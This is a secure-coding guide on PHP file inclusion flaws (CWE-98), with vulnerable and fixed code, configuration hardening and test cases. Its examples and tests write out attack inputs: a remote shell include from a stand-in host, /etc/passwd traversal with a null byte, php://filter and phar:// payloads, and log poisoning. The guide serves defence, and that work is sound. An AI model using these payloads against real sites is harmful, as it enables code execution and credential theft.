CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Overview
PHP's include, require, include_once and require_once execute whatever
they load. When any part of the path comes from a request, the attacker chooses
what the interpreter runs, and the result is code execution rather than file
disclosure.
The name says remote, and the classic payload - ?page=http://evil.example/shell.txt -
needs allow_url_include to be on. That directive defaults to Off and has
been deprecated since PHP 7.4, so on a default PHP 8 install the remote fetch
usually fails. Treating the finding as closed on that basis is a mistake: a
local include of attacker-influenced input is still code execution, and PHP's
stream wrappers give an attacker several ways to supply content without hosting
anything remotely.
Relationship to Other CWEs
CWE-98 is a PHP-specific Variant. The entries below are its scope, its parent, and the neighbouring number a finding may belong to instead:
- CWE-98 (this page) - untrusted data reaching PHP's
include/requirefamily, where whatever gets included is what gets executed - CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) -
the parent MITRE records, and the number for the general case in other
languages: dynamic imports,
eval/exec, third-party libraries - CWE-73 (External Control of File Name or Path) - where the finding flags the path construction itself, independent of the include mechanism
OWASP Classification
A05:2025 - Injection
Risk
Critical: An attacker who controls what gets included controls what the interpreter executes, which is remote code execution in the application's own process and with its own permissions - database credentials, session data and the filesystem all follow. Where only local paths are reachable, the same flaw still discloses configuration files and credentials, and PHP's wrappers often turn that disclosure back into execution.
Common Vulnerable Patterns
Request data used directly as the include target
<?php
// VULNERABLE - the include target comes straight from the query string
include($_GET['page']);
Why this is vulnerable: Whatever the attacker names is executed as PHP.
With allow_url_include enabled this fetches and runs a remote file; without
it, the attacker still reaches any local path the process can read, including
files they arranged to have written - an upload, a session file, or a log with a
poisoned User-Agent header.
A fixed prefix or suffix mistaken for containment
<?php
// VULNERABLE - the appended extension does not constrain the path
$page = $_GET['page'];
include('/var/www/pages/' . $page . '.php');
// Attack: ?page=../../../../etc/passwd%00 (null byte, PHP < 5.3.4)
// Note: the fixed prefix rules out stream wrappers here - PHP recognises a
// scheme only at offset 0, so php:// and phar:// payloads belong to the
// patterns that concatenate nothing in front, not to this one
// Note: log poisoning needs a target ending in .php here - the appended suffix
// turns /var/log/nginx/access into access.php, so that payload needs the
// null byte above
Why this is vulnerable: A prefix is a string operation, not a boundary -
../ walks straight out of it. The appended .php looks like it restricts the
target to PHP files, but it only constrains the end of the string, so any file
whose name can be made to end in .php is still reachable.
The two halves fail differently, and separating them is what tells you which payloads apply. A suffix on its own leaves the stream wrappers open, because the attacker still controls offset 0. A prefix closes the wrappers - PHP looks for a scheme only at the start of the path - and does nothing about traversal. This example has both, so traversal is the live route through it, and the wrapper payloads belong to the patterns above and below that put nothing in front of the input.
Stream wrappers reaching an include
<?php
// VULNERABLE - include accepts wrappers, not just filesystem paths
include($_GET['template']);
// Attack: ?template=php://filter/convert.base64-encode/resource=config.php
// reads source that a direct include would have executed silently
// Attack: ?template=phar://uploads/avatar.jpg/x
// executes archive content from a file uploaded as an image
// Attack: ?template=data://text/plain;base64,PD9waHAgLi4u
// inlines the payload - needs allow_url_include
Why this is vulnerable: include takes a stream URL wherever it takes a
path. php://filter reads and transforms arbitrary files and, chained, can
produce arbitrary content for the interpreter to execute without any file being
uploaded. phar:// reaches inside an archive, so an include of one runs the
code in the named entry - with a file the attacker only had to get past an image
upload filter. Neither needs allow_url_include.
On PHP 8.0 and later the archive's metadata is no longer part of this. Phar
metadata used to be unserialized automatically on any stream access, which made
phar:// a route to object injection (CWE-502) through
functions that merely stat a path; that was removed in 8.0, and only an explicit
Phar::getMetadata() call deserializes now. The include itself is still
execution, so the finding stands on PHP 8 - it is the object-injection route
that has closed, and a report resting on it needs re-reading against the
version in use.
Secure Patterns
Map a key to a path the application chose
<?php
declare(strict_types=1);
// SECURE - request data selects a key, never any part of a path
const PAGES = [
'home' => __DIR__ . '/pages/home.php',
'about' => __DIR__ . '/pages/about.php',
'contact' => __DIR__ . '/pages/contact.php',
];
$key = $_GET['page'] ?? 'home';
if (!is_string($key) || !array_key_exists($key, PAGES)) {
http_response_code(404);
include __DIR__ . '/pages/not-found.php';
return;
}
include PAGES[$key];
Why this works: The request never contributes a character to the path.
Traversal, wrappers, null bytes and extension tricks all become irrelevant,
because the only thing the input can do is fail to match a key. The is_string
test is what keeps that true for ?page[]=x, which arrives as an array and
would otherwise reach array_key_exists as the wrong type. array_key_exists
avoids the type-juggling surprises of a loose in_array search, and the paths
are absolute via __DIR__, so the include does not depend on include_path or
the current working directory.
Prefer this to validating a filename. It is the difference between constraining what an attacker may supply and not letting them supply it at all.
When the set of files genuinely cannot be enumerated
<?php
declare(strict_types=1);
// SECURE - resolve first, then prove containment
function includeTemplate(string $name): void
{
$baseDir = realpath(__DIR__ . '/templates');
if ($baseDir === false) {
throw new RuntimeException('Template directory missing');
}
// Reject anything that is not a plain name before touching the filesystem
if (!preg_match('/\A[A-Za-z0-9][A-Za-z0-9_-]{0,63}\z/', $name)) {
throw new InvalidArgumentException('Invalid template name');
}
$path = realpath($baseDir . DIRECTORY_SEPARATOR . $name . '.php');
if ($path === false || !str_starts_with($path, $baseDir . DIRECTORY_SEPARATOR)) {
throw new InvalidArgumentException('Unknown template');
}
include $path;
}
Why this works: The pattern admits only plain names, so no separator,
wrapper prefix, null byte or .. survives to reach the filesystem - and it is
written as an allowlist of permitted characters rather than a denylist of
dangerous ones, which is what makes it resistant to encodings nobody thought of.
realpath() then resolves symlinks and .. to a canonical path, and the
str_starts_with check on that resolved value is what actually enforces the
boundary. Comparing before resolution proves nothing, and comparing without the
trailing separator would accept a sibling directory such as templates-backup.
Configuration hardening
; Defense in depth - not a substitute for the patterns above
allow_url_include = Off ; default; deprecated since 7.4
allow_url_fopen = Off ; disable if the app never fetches remote URLs
open_basedir = /var/www/app:/tmp
Why this works: allow_url_include off blocks http:// and data://
includes, and open_basedir limits every file operation - including
include - to the listed trees, so a traversal that escapes the application
still cannot reach /etc.
These directives have different scopes, which decides where you can set them.
allow_url_include and allow_url_fopen are PHP_INI_SYSTEM: php.ini or the
server's PHP configuration only, not .htaccess and not ini_set().
open_basedir is PHP_INI_ALL and can be tightened at runtime or per
directory - it can only ever be narrowed, never widened, so a request cannot
escape a restriction already in place.
Neither allow_url_include nor open_basedir disables php://filter or phar://. open_basedir does
confine them, since it applies to the wrappers as well, so neither can reach a
file outside the listed trees - but inside them php://filter still discloses
the application's own source and a phar:// in an uploads directory still
executes. That is why these are listed last: they bound the reach of the flaw
without removing it.
Considerations
- Whether the input reaches the path at all. The finding is real when any part of the include argument derives from a request, a database row an attacker can write, or a cookie. An include built entirely from constants and application state is a false positive; record it with that reasoning rather than adding validation to satisfy a scanner.
- Do not close it because remote inclusion is disabled. The textbook
http://payload fails on most installations, and that says nothing about the local include underneath it. The severity conversation should be about what an attacker can get included, not about whetherhttp://works. - Where the attacker's file comes from. Rate the finding by what write
primitives exist alongside it: an upload directory inside the document root, a
log file the application can read, a session file with a predictable path, or
a
pharthat only needs to pass an image filter. A local include on a system with no attacker-writable file is a lower, but not zero, severity - source disclosure of credentials is usually enough on its own. basename()is not a fix, though it looks like one. It strips directory components, so../../etc/passwdbecomespasswd- which defeats traversal but leaves the attacker choosing any file in the base directory, and it does not stopphp://filterchains from being passed elsewhere. Use it as a normalisation step inside the resolve-and-verify pattern, never as the check.
Testing
A re-scan tells you the pattern changed, not that the boundary holds. These assertions distinguish the two.
- Request each payload class and assert an HTTP 404 or 400 and that no output
from the target file appears:
../../../../etc/passwd,....//....//etc/passwd(defeats a single-pass..strip),php://filter/convert.base64-encode/resource=config,phar://uploads/test.jpg/x, andhttp://127.0.0.1/shell.txt. - Assert on the response body, not only the status. A page that returns 200 with an empty body because the include failed is a different outcome from one that rejected the request, and only one of them is the fix you intended.
- Append a null byte to an otherwise valid name (
home%00.txt) and assert rejection. Modern PHP throws on null bytes in paths, but validation written before the resolve step can still be bypassed by one. - Assert every legitimate key still renders. An allowlist migration that drops a page nobody tested is the usual regression, and no scanner reports it.
- If
open_basedirwas added, assert that a legitimate include outside the listed trees now fails loudly in staging rather than in production - shared library paths and/tmpfor sessions are the ones typically forgotten.